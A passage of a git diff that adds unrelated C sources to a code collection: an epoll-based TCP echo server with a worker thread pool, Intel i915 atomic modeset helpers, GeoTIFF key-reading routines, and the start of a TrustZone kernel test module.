+  g_printf ("%s\n", gtk_font_selection_get_font_name (GTK_FONT_SELECTION (font)));
+}
diff --git a/pool/shard001/C/0022421_server.c b/pool/shard001/C/0022421_server.c
new file mode 100644
index 0000000000000000000000000000000000000000..03afd18105bbaf18aaf7c066fd136debcbc0267e
--- /dev/null
+++ b/pool/shard001/C/0022421_server.c
@@ -0,0 +1,205 @@
+#include <iostream.h>
+#include <sys/socket.h>
+#include <sys/epoll.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <string.h>
+#include <pthread.h>
+
+#define MAXLINE 1024
+#define OPEN_MAX 100
+#define LISTENQ 20
+#define SERV_PORT 5555
+#define INFTIM 1000
+
+//线程池任务队列结构体
+struct task
+{
+    int fd;            //需要读写的文件描述符
+    struct task *next; //下一个任务
+};
+//用于保存向客户端发送一次消息所需的相关数据
+struct user_data
+{
+    int fd;
+    unsigned int n_size;
+    char line[MAXLINE];
+};
+//线程的任务函数
+void *readtask(void *args);
+void *writetask(void *args);
+//声明epoll_event结构体的变量,ev用于注册事件,数组用于回传要处理的事件
+struct epoll_event ev, events[20];
+int epfd;
+pthread_mutex_t mutex;
+pthread_cond_t cond1;
+struct task *readhead = NULL, *readtail = NULL, *writehead = NULL;
+void setnonblocking(int sock)
+{
+    int opts;
+    opts = fcntl(sock, F_GETFL);
+    if(opts < 0)
+    {
+        perror("fcntl(sock,GETFL)");
+        exit(1);
+    }
+    opts = opts | O_NONBLOCK;
+    if(fcntl(sock, F_SETFL, opts) < 0)
+    {
+        perror("fcntl(sock,SETFL,opts)");
+        exit(1);
+    }
+}
+int main()
+{
+    int i, maxi, listenfd, connfd, sockfd, nfds;
+    pthread_t tid1, tid2;
+    struct task *new_task = NULL;
+    struct user_data *rdata = NULL;
+    socklen_t clilen;
+    pthread_mutex_init(&mutex, NULL);
+    pthread_cond_init(&cond1, NULL);
+    //初始化用于读线程池的线程，开启两个线程来完成任务，两个线程会互斥地访问任务链表
+    pthread_create(&tid1, NULL, readtask, NULL);
+    pthread_create(&tid2, NULL, readtask, NULL);
+    //生成用于处理accept的epoll专用的文件描述符
+    epfd = epoll_create(256);
+    struct sockaddr_in clientaddr;
+    struct sockaddr_in serveraddr;
+    listenfd = socket(AF_INET, SOCK_STREAM, 0);
+    //把socket设置为非阻塞方式
+    setnonblocking(listenfd);
+    //设置与要处理的事件相关的文件描述符
+    ev.data.fd = listenfd;
+    //设置要处理的事件类型，当描述符可读时出发，出发方式为ET模式
+    ev.events = EPOLLIN | EPOLLET;
+    //注册epoll事件
+    epoll_ctl(epfd, EPOLL_CTL_ADD, listenfd, &ev);
+    bzero(&serveraddr, sizeof(serveraddr));
+    serveraddr.sin_family = AF_INET;
+    const char *local_addr = "127.0.0.1";
+    inet_aton(local_addr, &(serveraddr.sin_addr)); //htons(SERV_PORT);
+    serveraddr.sin_port = htons(SERV_PORT);
+    bind(listenfd, (sockaddr *)&serveraddr, sizeof(serveraddr));
+    //开始监听
+    listen(listenfd, LISTENQ);
+    maxi = 0;
+    for ( ; ; )
+    {
+        //等待epoll事件的发生
+        nfds = epoll_wait(epfd, events, 20, 500);
+        //处理所发生的所有事件
+        for(i = 0; i < nfds; ++i)
+        {
+            if(events[i].data.fd == listenfd)
+            {
+                connfd = accept(listenfd, (sockaddr *)&clientaddr, &clilen);
+                if(connfd < 0)
+                {
+                    perror("connfd<0");
+                    exit(1);
+                }
+                setnonblocking(connfd);
+                const char *str = inet_ntoa(clientaddr.sin_addr);
+                std::cout << "connec_ from >> " << str << std::endl;
+                //设置用于读操作的文件描述符
+                ev.data.fd = connfd;
+                //设置用于注测的读操作事件
+                ev.events = EPOLLIN | EPOLLET;
+                //注册ev
+                epoll_ctl(epfd, EPOLL_CTL_ADD, connfd, &ev);
+            }
+            else if(events[i].events & EPOLLIN)
+            {
+                printf("reading!\n");
+                if ( (sockfd = events[i].data.fd) < 0) continue;
+                new_task = new task();
+                new_task->fd = sockfd;
+                new_task->next = NULL;
+                //添加新的读任务
+                pthread_mutex_lock(&mutex);
+                if(readhead == NULL)
+                {
+                    readhead = new_task;
+                    readtail = new_task;
+                }
+                else
+                {
+                    readtail->next = new_task;
+                    readtail = new_task;
+                }
+                //唤醒所有等待cond1条件的线程
+                pthread_cond_broadcast(&cond1);
+                pthread_mutex_unlock(&mutex);
+            }
+            else if(events[i].events & EPOLLOUT)
+            {
+                rdata = (struct user_data *)events[i].data.ptr;
+                sockfd = rdata->fd;
+                write(sockfd, rdata->line, rdata->n_size);
+                delete rdata;
+                //设置用于读操作的文件描述符
+                ev.data.fd = sockfd;
+                //设置用于注测的读操作事件
+                ev.events = EPOLLIN | EPOLLET;
+                //修改sockfd上要处理的事件为EPOLIN
+                epoll_ctl(epfd, EPOLL_CTL_MOD, sockfd, &ev);
+            }
+        }
+    }
+}
+void *readtask(void *args)
+{
+    int fd = -1;
+    unsigned int n;
+    //用于把读出来的数据传递出去
+    struct user_data *data = NULL;
+    while(1)
+    {
+        //互斥访问任务队列
+        pthread_mutex_lock(&mutex);
+        //等待到任务队列不为空
+        while(readhead == NULL)
+            pthread_cond_wait(&cond1, &mutex); //线程阻塞，释放互斥锁，当等待的条件等到满足时，它会再次获得互斥锁
+        fd = readhead->fd;
+        //从任务队列取出一个读任务
+        struct task *tmp = readhead;
+        readhead = readhead->next;
+        delete tmp;
+        pthread_mutex_unlock(&mutex);
+        data = new user_data();
+        data->fd = fd;
+        if ( (n = read(fd, data->line, MAXLINE)) < 0)
+        {
+            if (errno == ECONNRESET)
+                close(fd);
+            else
+                std::cout << "readline error" << std::endl;
+            if(data != NULL) delete data;
+        }
+        else if (n == 0)
+        {
+            //客户端关闭了，其对应的连接套接字可能也被标记为EPOLLIN，然后服务器去读这个套接字
+            //结果发现读出来的内容为0，就知道客户端关闭了。
+            close(fd);
+            printf("Client close connect!\n");
+            if(data != NULL) delete data;
+        }
+        else
+        {
+            std::cout << "read from client: " << data->line << std::endl;
+            data->n_size = n;
+            //设置需要传递出去的数据
+            ev.data.ptr = data;
+            //设置用于注测的写操作事件
+            ev.events = EPOLLOUT | EPOLLET;
+            //修改sockfd上要处理的事件为EPOLLOUT
+            epoll_ctl(epfd, EPOLL_CTL_MOD, fd, &ev);
+        }
+    }
+}
diff --git a/pool/shard001/C/0022422_intel_atomic.c b/pool/shard001/C/0022422_intel_atomic.c
new file mode 100644
index 0000000000000000000000000000000000000000..6314446f58fac3a6b357e44ea6f09eee7cec71cd
--- /dev/null
+++ b/pool/shard001/C/0022422_intel_atomic.c
@@ -0,0 +1,313 @@
+/*
+ * Copyright © 2015 Intel Corporation
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice (including the next
+ * paragraph) shall be included in all copies or substantial portions of the
+ * Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
+ * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ */
+
+/**
+ * DOC: atomic modeset support
+ *
+ * The functions here implement the state management and hardware programming
+ * dispatch required by the atomic modeset infrastructure.
+ * See intel_atomic_plane.c for the plane-specific atomic functionality.
+ */
+
+#include <drm/drmP.h>
+#include <drm/drm_atomic.h>
+#include <drm/drm_atomic_helper.h>
+#include <drm/drm_plane_helper.h>
+#include "intel_drv.h"
+
+/**
+ * intel_connector_atomic_get_property - fetch connector property value
+ * @connector: connector to fetch property for
+ * @state: state containing the property value
+ * @property: property to look up
+ * @val: pointer to write property value into
+ *
+ * The DRM core does not store shadow copies of properties for
+ * atomic-capable drivers.  This entrypoint is used to fetch
+ * the current value of a driver-specific connector property.
+ */
+int
+intel_connector_atomic_get_property(struct drm_connector *connector,
+				    const struct drm_connector_state *state,
+				    struct drm_property *property,
+				    uint64_t *val)
+{
+	int i;
+
+	/*
+	 * TODO: We only have atomic modeset for planes at the moment, so the
+	 * crtc/connector code isn't quite ready yet.  Until it's ready,
+	 * continue to look up all property values in the DRM's shadow copy
+	 * in obj->properties->values[].
+	 *
+	 * When the crtc/connector state work matures, this function should
+	 * be updated to read the values out of the state structure instead.
+	 */
+	for (i = 0; i < connector->base.properties->count; i++) {
+		if (connector->base.properties->properties[i] == property) {
+			*val = connector->base.properties->values[i];
+			return 0;
+		}
+	}
+
+	return -EINVAL;
+}
+
+/*
+ * intel_crtc_duplicate_state - duplicate crtc state
+ * @crtc: drm crtc
+ *
+ * Allocates and returns a copy of the crtc state (both common and
+ * Intel-specific) for the specified crtc.
+ *
+ * Returns: The newly allocated crtc state, or NULL on failure.
+ */
+struct drm_crtc_state *
+intel_crtc_duplicate_state(struct drm_crtc *crtc)
+{
+	struct intel_crtc_state *crtc_state;
+
+	crtc_state = kmemdup(crtc->state, sizeof(*crtc_state), GFP_KERNEL);
+	if (!crtc_state)
+		return NULL;
+
+	__drm_atomic_helper_crtc_duplicate_state(crtc, &crtc_state->base);
+
+	crtc_state->update_pipe = false;
+	crtc_state->disable_lp_wm = false;
+	crtc_state->disable_cxsr = false;
+	crtc_state->update_wm_pre = false;
+	crtc_state->update_wm_post = false;
+
+	return &crtc_state->base;
+}
+
+/**
+ * intel_crtc_destroy_state - destroy crtc state
+ * @crtc: drm crtc
+ *
+ * Destroys the crtc state (both common and Intel-specific) for the
+ * specified crtc.
+ */
+void
+intel_crtc_destroy_state(struct drm_crtc *crtc,
+			  struct drm_crtc_state *state)
+{
+	drm_atomic_helper_crtc_destroy_state(crtc, state);
+}
+
+/**
+ * intel_atomic_setup_scalers() - setup scalers for crtc per staged requests
+ * @dev: DRM device
+ * @crtc: intel crtc
+ * @crtc_state: incoming crtc_state to validate and setup scalers
+ *
+ * This function sets up scalers based on staged scaling requests for
+ * a @crtc and its planes. It is called from crtc level check path. If request
+ * is a supportable request, it attaches scalers to requested planes and crtc.
+ *
+ * This function takes into account the current scaler(s) in use by any planes
+ * not being part of this atomic state
+ *
+ *  Returns:
+ *         0 - scalers were setup succesfully
+ *         error code - otherwise
+ */
+int intel_atomic_setup_scalers(struct drm_device *dev,
+	struct intel_crtc *intel_crtc,
+	struct intel_crtc_state *crtc_state)
+{
+	struct drm_plane *plane = NULL;
+	struct intel_plane *intel_plane;
+	struct intel_plane_state *plane_state = NULL;
+	struct intel_crtc_scaler_state *scaler_state =
+		&crtc_state->scaler_state;
+	struct drm_atomic_state *drm_state = crtc_state->base.state;
+	int num_scalers_need;
+	int i, j;
+
+	num_scalers_need = hweight32(scaler_state->scaler_users);
+
+	/*
+	 * High level flow:
+	 * - staged scaler requests are already in scaler_state->scaler_users
+	 * - check whether staged scaling requests can be supported
+	 * - add planes using scalers that aren't in current transaction
+	 * - assign scalers to requested users
+	 * - as part of plane commit, scalers will be committed
+	 *   (i.e., either attached or detached) to respective planes in hw
+	 * - as part of crtc_commit, scaler will be either attached or detached
+	 *   to crtc in hw
+	 */
+
+	/* fail if required scalers > available scalers */
+	if (num_scalers_need > intel_crtc->num_scalers){
+		DRM_DEBUG_KMS("Too many scaling requests %d > %d\n",
+			num_scalers_need, intel_crtc->num_scalers);
+		return -EINVAL;
+	}
+
+	/* walkthrough scaler_users bits and start assigning scalers */
+	for (i = 0; i < sizeof(scaler_state->scaler_users) * 8; i++) {
+		int *scaler_id;
+		const char *name;
+		int idx;
+
+		/* skip if scaler not required */
+		if (!(scaler_state->scaler_users & (1 << i)))
+			continue;
+
+		if (i == SKL_CRTC_INDEX) {
+			name = "CRTC";
+			idx = intel_crtc->base.base.id;
+
+			/* panel fitter case: assign as a crtc scaler */
+			scaler_id = &scaler_state->scaler_id;
+		} else {
+			name = "PLANE";
+
+			/* plane scaler case: assign as a plane scaler */
+			/* find the plane that set the bit as scaler_user */
+			plane = drm_state->planes[i];
+
+			/*
+			 * to enable/disable hq mode, add planes that are using scaler
+			 * into this transaction
+			 */
+			if (!plane) {
+				struct drm_plane_state *state;
+				plane = drm_plane_from_index(dev, i);
+				state = drm_atomic_get_plane_state(drm_state, plane);
+				if (IS_ERR(state)) {
+					DRM_DEBUG_KMS("Failed to add [PLANE:%d] to drm_state\n",
+						plane->base.id);
+					return PTR_ERR(state);
+				}
+
+				/*
+				 * the plane is added after plane checks are run,
+				 * but since this plane is unchanged just do the
+				 * minimum required validation.
+				 */
+				crtc_state->base.planes_changed = true;
+			}
+
+			intel_plane = to_intel_plane(plane);
+			idx = plane->base.id;
+
+			/* plane on different crtc cannot be a scaler user of this crtc */
+			if (WARN_ON(intel_plane->pipe != intel_crtc->pipe)) {
+				continue;
+			}
+
+			plane_state = to_intel_plane_state(drm_state->plane_states[i]);
+			scaler_id = &plane_state->scaler_id;
+		}
+
+		if (*scaler_id < 0) {
+			/* find a free scaler */
+			for (j = 0; j < intel_crtc->num_scalers; j++) {
+				if (!scaler_state->scalers[j].in_use) {
+					scaler_state->scalers[j].in_use = 1;
+					*scaler_id = j;
+					DRM_DEBUG_KMS("Attached scaler id %u.%u to %s:%d\n",
+						intel_crtc->pipe, *scaler_id, name, idx);
+					break;
+				}
+			}
+		}
+
+		if (WARN_ON(*scaler_id < 0)) {
+			DRM_DEBUG_KMS("Cannot find scaler for %s:%d\n", name, idx);
+			continue;
+		}
+
+		/* set scaler mode */
+		if (num_scalers_need == 1 && intel_crtc->pipe != PIPE_C) {
+			/*
+			 * when only 1 scaler is in use on either pipe A or B,
+			 * scaler 0 operates in high quality (HQ) mode.
+			 * In this case use scaler 0 to take advantage of HQ mode
+			 */
+			*scaler_id = 0;
+			scaler_state->scalers[0].in_use = 1;
+			scaler_state->scalers[0].mode = PS_SCALER_MODE_HQ;
+			scaler_state->scalers[1].in_use = 0;
+		} else {
+			scaler_state->scalers[*scaler_id].mode = PS_SCALER_MODE_DYN;
+		}
+	}
+
+	return 0;
+}
+
+static void
+intel_atomic_duplicate_dpll_state(struct drm_i915_private *dev_priv,
+				  struct intel_shared_dpll_config *shared_dpll)
+{
+	enum intel_dpll_id i;
+
+	/* Copy shared dpll state */
+	for (i = 0; i < dev_priv->num_shared_dpll; i++) {
+		struct intel_shared_dpll *pll = &dev_priv->shared_dplls[i];
+
+		shared_dpll[i] = pll->config;
+	}
+}
+
+struct intel_shared_dpll_config *
+intel_atomic_get_shared_dpll_state(struct drm_atomic_state *s)
+{
+	struct intel_atomic_state *state = to_intel_atomic_state(s);
+
+	WARN_ON(!drm_modeset_is_locked(&s->dev->mode_config.connection_mutex));
+
+	if (!state->dpll_set) {
+		state->dpll_set = true;
+
+		intel_atomic_duplicate_dpll_state(to_i915(s->dev),
+						  state->shared_dpll);
+	}
+
+	return state->shared_dpll;
+}
+
+struct drm_atomic_state *
+intel_atomic_state_alloc(struct drm_device *dev)
+{
+	struct intel_atomic_state *state = kzalloc(sizeof(*state), GFP_KERNEL);
+
+	if (!state || drm_atomic_state_init(dev, &state->base) < 0) {
+		kfree(state);
+		return NULL;
+	}
+
+	return &state->base;
+}
+
+void intel_atomic_state_clear(struct drm_atomic_state *s)
+{
+	struct intel_atomic_state *state = to_intel_atomic_state(s);
+	drm_atomic_state_default_clear(&state->base);
+	state->dpll_set = false;
+}
diff --git a/pool/shard001/C/0022424_geo_new.c b/pool/shard001/C/0022424_geo_new.c
new file mode 100644
index 0000000000000000000000000000000000000000..af02bee366128da4f28b2ae78ad4fc932e150690
--- /dev/null
+++ b/pool/shard001/C/0022424_geo_new.c
@@ -0,0 +1,285 @@
+/**********************************************************************
+ *
+ *  geo_new.c  -- Public routines for GEOTIFF GeoKey access.
+ *
+ *    Written By: Niles D. Ritter.
+ *
+ *  copyright (c) 1995   Niles D. Ritter
+ *
+ *  Permission granted to use this software, so long as this copyright
+ *  notice accompanies any products derived therefrom.
+ *
+ *    20 June, 1995      Niles D. Ritter         New
+ *    7 July,  1995      Greg Martin             Fix index
+ *
+ **********************************************************************/
+
+#include "geotiffio.h"   /* public interface        */
+#include "geo_tiffp.h" /* external TIFF interface */
+#include "geo_keyp.h"  /* private interface       */
+#include "geo_simpletags.h" 
+
+/* private local routines */
+static int ReadKey(GTIF* gt, TempKeyData* tempData,
+                   KeyEntry* entptr, GeoKey* keyptr);
+
+
+/**********************************************************************
+ *
+ *                        Public Routines
+ *
+ **********************************************************************/
+
+
+/**
+ * Given an open TIFF file, look for GTIF keys and 
+ *  values and return GTIF structure.
+
+This function creates a GeoTIFF information interpretation handle
+(GTIF *) based on a passed in TIFF handle originally from 
+XTIFFOpen().  Even though the argument 
+(<b>tif</b>) is shown as type <tt>void *</tt>, it is really normally
+of type <tt>TIFF *</tt>.<p>
+
+The returned GTIF handle can be used to read or write GeoTIFF tags 
+using the various GTIF functions.  The handle should be destroyed using
+GTIFFree() before the file is closed with TIFFClose().<p>
+
+If the file accessed has no GeoTIFF keys, an valid (but empty) GTIF is
+still returned.  GTIFNew() is used both for existing files being read, and
+for new TIFF files that will have GeoTIFF tags written to them.<p>
+
+ */
+
+GTIF* GTIFNew(void *tif)
+
+{
+    TIFFMethod default_methods;
+    _GTIFSetDefaultTIFF( &default_methods );
+
+    return GTIFNewWithMethods( tif, &default_methods );
+}
+
+GTIF *GTIFNewSimpleTags( void *tif )
+
+{
+    TIFFMethod default_methods;
+    GTIFSetSimpleTagsMethods( &default_methods );
+
+    return GTIFNewWithMethods( tif, &default_methods );
+}
+
+/************************************************************************/
+/*                         GTIFNewWithMethods()                         */
+/*                                                                      */
+/*      Create a new geotiff, passing in the methods structure to       */
+/*      support not libtiff implementations without replacing the       */
+/*      default methods.                                                */
+/************************************************************************/
+
+GTIF* GTIFNewWithMethods(void *tif, TIFFMethod* methods)
+{
+    GTIF* gt=(GTIF*)0;
+    int count,bufcount,index;
+    GeoKey *keyptr;
+    pinfo_t *data;
+    KeyEntry *entptr;
+    KeyHeader *header;
+    TempKeyData tempData;
+
+    memset( &tempData, 0, sizeof(tempData) );
+    gt = (GTIF*)_GTIFcalloc( sizeof(GTIF));
+    if (!gt) goto failure;	
+	
+    /* install TIFF file and I/O methods */
+    gt->gt_tif = (tiff_t *)tif;
+    memcpy( &gt->gt_methods, methods, sizeof(TIFFMethod) );
+
+    /* since this is an array, GTIF will allocate the memory */
+    if ( tif == NULL 
+         || !(gt->gt_methods.get)(tif, GTIFF_GEOKEYDIRECTORY, &gt->gt_nshorts, &data ))
+    {
+        /* No ProjectionInfo, create a blank one */
+        data=(pinfo_t*)_GTIFcalloc((4+MAX_VALUES)*sizeof(pinfo_t));
+        if (!data) goto failure;	
+        header = (KeyHeader *)data;
+        header->hdr_version = GvCurrentVersion;
+        header->hdr_rev_major = GvCurrentRevision;
+        header->hdr_rev_minor = GvCurrentMinorRev;
+        gt->gt_nshorts=sizeof(KeyHeader)/sizeof(pinfo_t);
+    }
+    else
+    {
+        /* resize data array so it can be extended if needed */
+        data = (pinfo_t*) _GTIFrealloc(data,(4+MAX_VALUES)*sizeof(pinfo_t));
+    }
+    gt->gt_short = data;
+    header = (KeyHeader *)data;
+	
+    if (header->hdr_version > GvCurrentVersion) goto failure;
+    if (header->hdr_rev_major > GvCurrentRevision)
+    {
+        /* issue warning */
+    }
+	
+    /* If we got here, then the geokey can be parsed */
+    count = header->hdr_num_keys;
+
+    if (count * sizeof(KeyEntry) >= (4 + MAX_VALUES) * sizeof(pinfo_t)) 
+        goto failure; 
+
+    gt->gt_num_keys = count;
+    gt->gt_version  = header->hdr_version;
+    gt->gt_rev_major  = header->hdr_rev_major;
+    gt->gt_rev_minor  = header->hdr_rev_minor;
+
+    bufcount = count+MAX_KEYS; /* allow for expansion */
+
+    /* Get the PARAMS Tags, if any */
+    if (tif == NULL
+        || !(gt->gt_methods.get)(tif, GTIFF_DOUBLEPARAMS,
+                                 &gt->gt_ndoubles, &gt->gt_double ))
+    {
+        gt->gt_double=(double*)_GTIFcalloc(MAX_VALUES*sizeof(double));
+        if (!gt->gt_double) goto failure;	
+    }
+    else
+    {
+        /* resize data array so it can be extended if needed */
+        gt->gt_double = (double*) _GTIFrealloc(gt->gt_double,
+                                               (MAX_VALUES)*sizeof(double));
+    }
+    if ( tif == NULL
+         || !(gt->gt_methods.get)(tif, GTIFF_ASCIIPARAMS,
+                                  &tempData.tk_asciiParamsLength,
+                                  &tempData.tk_asciiParams ))
+    {
+        tempData.tk_asciiParams         = 0;
+        tempData.tk_asciiParamsLength   = 0;
+    }
+    else
+    {
+        /* last NULL doesn't count; "|" used for delimiter */
+        if( tempData.tk_asciiParamsLength > 0 
+            && tempData.tk_asciiParams[tempData.tk_asciiParamsLength-1] == '\0')
+        {
+            --tempData.tk_asciiParamsLength;
+        }
+    }
+
+    /* allocate space for GeoKey array and its index */
+    gt->gt_keys = (GeoKey *)_GTIFcalloc( sizeof(GeoKey)*bufcount);
+    if (!gt->gt_keys) goto failure;
+    gt->gt_keyindex = (int *)_GTIFcalloc( sizeof(int)*(MAX_KEYINDEX+1));
+    if (!gt->gt_keyindex) goto failure;
+	
+    /*  Loop to get all GeoKeys */
+    entptr = ((KeyEntry *)data) + 1;
+    keyptr = gt->gt_keys;
+    gt->gt_keymin = MAX_KEYINDEX;
+    gt->gt_keymax = 0;
+    for (index=1; index<=count; index++,entptr++)
+    {
+        if (!ReadKey(gt, &tempData, entptr, ++keyptr))
+            goto failure;
+			
+        /* Set up the index (start at 1, since 0=unset) */
+        gt->gt_keyindex[entptr->ent_key] = index;		
+    }
+
+    if( tempData.tk_asciiParams != NULL )
+        _GTIFFree( tempData.tk_asciiParams );
+	
+    return gt;
+	
+  failure:
+    /* Notify of error */
+    if( tempData.tk_asciiParams != NULL )
+        _GTIFFree( tempData.tk_asciiParams );    
+    GTIFFree (gt);
+    return (GTIF *)0;
+}
+
+/**********************************************************************
+ *
+ *                        Private Routines
+ *
+ **********************************************************************/
+
+/*
+ * Given KeyEntry, read in the GeoKey value location and set up
+ *  the Key structure, returning 0 if failure.
+ */
+
+static int ReadKey(GTIF* gt, TempKeyData* tempData,
+                   KeyEntry* entptr, GeoKey* keyptr)
+{
+    int offset,count;
+
+    keyptr->gk_key = entptr->ent_key;
+    keyptr->gk_count = entptr->ent_count;
+    count = entptr->ent_count;
+    offset = entptr->ent_val_offset;
+    if (gt->gt_keymin > keyptr->gk_key)  gt->gt_keymin=keyptr->gk_key;
+    if (gt->gt_keymax < keyptr->gk_key)  gt->gt_keymax=keyptr->gk_key;
+
+    if (entptr->ent_location)
+        keyptr->gk_type = (gt->gt_methods.type)(gt->gt_tif,entptr->ent_location);
+    else
+        keyptr->gk_type = (gt->gt_methods.type)(gt->gt_tif,GTIFF_GEOKEYDIRECTORY);
+
+    switch (entptr->ent_location)
+    {
+        case GTIFF_LOCAL:
+            /* store value into data value */
+            memcpy(&keyptr->gk_data, &(entptr->ent_val_offset), sizeof(pinfo_t));
+            break;
+        case GTIFF_GEOKEYDIRECTORY:
+            keyptr->gk_data = (char *)(gt->gt_short+offset);
+            if (gt->gt_nshorts < offset+count)
+                gt->gt_nshorts = offset+count;
+            break;
+        case GTIFF_DOUBLEPARAMS:
+            keyptr->gk_data = (char *)(gt->gt_double+offset);
+            if (gt->gt_ndoubles < offset+count)
+                gt->gt_ndoubles = offset+count;
+            break;
+        case GTIFF_ASCIIPARAMS:
+            if( offset + count == tempData->tk_asciiParamsLength + 1 
+                && count > 0 )
+            {
+                /* some vendors seem to feel they should not use the 
+                   terminating '|' char, but do include a terminating '\0'
+                   which we lose in the low level reading code.  
+                   If this is the case, drop the extra character */
+                count--;
+            }
+            else if (offset < tempData->tk_asciiParamsLength
+                     && offset + count > tempData->tk_asciiParamsLength )
+            {
+                count = tempData->tk_asciiParamsLength - offset;
+                /* issue warning... if we could */
+            }
+            else if (offset + count > tempData->tk_asciiParamsLength)
+                return (0);
+
+            keyptr->gk_count = MAX(1,count+1);
+            keyptr->gk_data = (char *) _GTIFcalloc (keyptr->gk_count);
+
+            _GTIFmemcpy (keyptr->gk_data,
+                         tempData->tk_asciiParams + offset, count);
+            if( keyptr->gk_data[MAX(0,count-1)] == '|' )
+            {
+                keyptr->gk_data[MAX(0,count-1)] = '\0';
+                keyptr->gk_count = count;
+            }
+            else
+                keyptr->gk_data[MAX(0,count)] = '\0';
+            break;
+        default:
+            return 0; /* failure */
+    }
+    keyptr->gk_size = _gtiff_size[keyptr->gk_type];
+	
+    return 1; /* success */
+}
diff --git a/pool/shard001/C/0022435_test.c b/pool/shard001/C/0022435_test.c
new file mode 100644
index 0000000000000000000000000000000000000000..ef93528c933a03a72ff5b3712221b3a3a17704d5
--- /dev/null
+++ b/pool/shard001/C/0022435_test.c
@@ -0,0 +1,166 @@
+
+#include <linux/module.h>
+#include <linux/types.h>
+#include <linux/slab.h>
+#include <linux/kthread.h>
+#include <linux/freezer.h>
+#include "tz_cross/trustzone.h"
+#include "tz_cross/ta_test.h"
+#include "tz_cross/ta_mem.h"
+#include "trustzone/kree/system.h"
+#include "trustzone/kree/mem.h"
+#include "kree_int.h"
+
+
+uint32_t TEECK_Test_Add(KREE_SESSION_HANDLE session, uint32_t a, uint32_t b)
+{
+    MTEEC_PARAM param[4];
+    uint32_t paramTypes;
+    TZ_RESULT ret;
+
+    param[0].value.a = a;
+    param[1].value.a = b;
+    paramTypes = TZ_ParamTypes3(TZPT_VALUE_INPUT, TZPT_VALUE_INPUT, 
+                                TZPT_VALUE_OUTPUT);
+
+    ret = KREE_TeeServiceCall(session, TZCMD_TEST_ADD,
+                              paramTypes, param);
+    if (ret != TZ_RESULT_SUCCESS)
+    {
+        printk("ServiceCall error %d\n", ret);
+        param[2].value.a = 0;
+    }
+
+    return param[2].value.a;    
+}
+
+
+void tz_test(void)
+{
+    TZ_RESULT ret;
+    KREE_SESSION_HANDLE test_session;
+    KREE_SESSION_HANDLE mem_session;
+    KREE_SECUREMEM_HANDLE mem_handle;
+    KREE_SHAREDMEM_HANDLE shm_handle;
+    KREE_SHAREDMEM_PARAM shm_param;
+    uint32_t result;
+    struct timespec start, end;
+    long long ns;
+    int i;
+    MTEEC_PARAM param[4];
+    uint32_t *ptr;
+    int size;
+
+    ret = KREE_CreateSession(TZ_TA_TEST_UUID, &test_session);
+    if (ret != TZ_RESULT_SUCCESS)
+    {
+        printk("CreateSession error %d\n", ret);
+        return;
+    }
+
+    result = TEECK_Test_Add(test_session, 10, 20);
+    printk("tz_test TZCMD_TEST_ADD %d\n", result);
+
+    /// Time test.
+    getnstimeofday(&start);
+    for (i=0; i<100; i++)
+    {
+        result = TEECK_Test_Add(test_session, 10, 20);
+    }
+    getnstimeofday(&end);
+    ns = ((long long)end.tv_sec - start.tv_sec)*1000000000 + 
+          (end.tv_nsec - start.tv_nsec);
+    printk("100 times TEST_ADD %lld ns\n", ns);
+
+    ret = KREE_CreateSession(TZ_TA_MEM_UUID, &mem_session);
+    if (ret != TZ_RESULT_SUCCESS)
+    {
+        printk("Create memory session error %d\n", ret);
+        return;
+    }
+
+    printk ("test A\n");    
+    size = 4*1024;
+    ptr = (uint32_t *)kmalloc(size, GFP_KERNEL);
+
+ 
+    shm_param.buffer = ptr;
+    shm_param.size = size;
+    ret = KREE_RegisterSharedmem(mem_session, &shm_handle, &shm_param);
+    if (ret != TZ_RESULT_SUCCESS)
+    {
+        printk("KREE_RegisterSharedmem Error: %s\n", TZ_GetErrorString(ret));
+        return;
+    }
+    printk ("shm handle = 0x%x\n", shm_handle);
+    
+    for (i=0; i<4*1024/4; i++)
+        ptr[i] = i;  
+ 
+    param[0].memref.handle = (uint32_t) shm_handle;
+    param[0].memref.offset = 0;
+    param[0].memref.size = 4*1024;
+    param[1].value.a = (4*1024) / 4;
+    ret = KREE_TeeServiceCall(test_session, TZCMD_TEST_ADD_MEM,
+            TZ_ParamTypes3(TZPT_MEMREF_INPUT, TZPT_VALUE_INPUT, TZPT_VALUE_OUTPUT), param); 
+    if (ret != TZ_RESULT_SUCCESS)
+    {
+        printk("TZCMD_TEST_ADD_MEM error %d\n", ret);
+        return;
+    }                  
+    printk ("KREE ADD MEM result = 0x%x\n", param[2].value.a);         
+
+    ret = KREE_AllocSecuremem (mem_session, &mem_handle, 0, 1024);
+    if (ret != TZ_RESULT_SUCCESS)
+    {
+        printk("Secure memory allocate error %d\n", ret);
+        return;
+    }
+    
+    param[0].value.a = (uint32_t) mem_handle;
+    ret = KREE_TeeServiceCall(test_session, TZCMD_TEST_DO_A,
+            TZ_ParamTypes3(TZPT_VALUE_INPUT, TZPT_VALUE_OUTPUT, TZPT_VALUE_OUTPUT), param);    
+    printk ("Do A = 0x%x, 0x%x (%d)\n", param[1].value.a, param[2].value.a, ret);
+
+    ret = KREE_ReferenceSecuremem (mem_session, mem_handle);
+    if (ret != TZ_RESULT_SUCCESS)
+    {
+        printk("KREE_ReferenceSecuremem Error: %d\n", ret);
+    } 
+
+    param[0].value.a = (uint32_t) mem_handle;
+    ret = KREE_TeeServiceCall(test_session, TZCMD_TEST_DO_B,
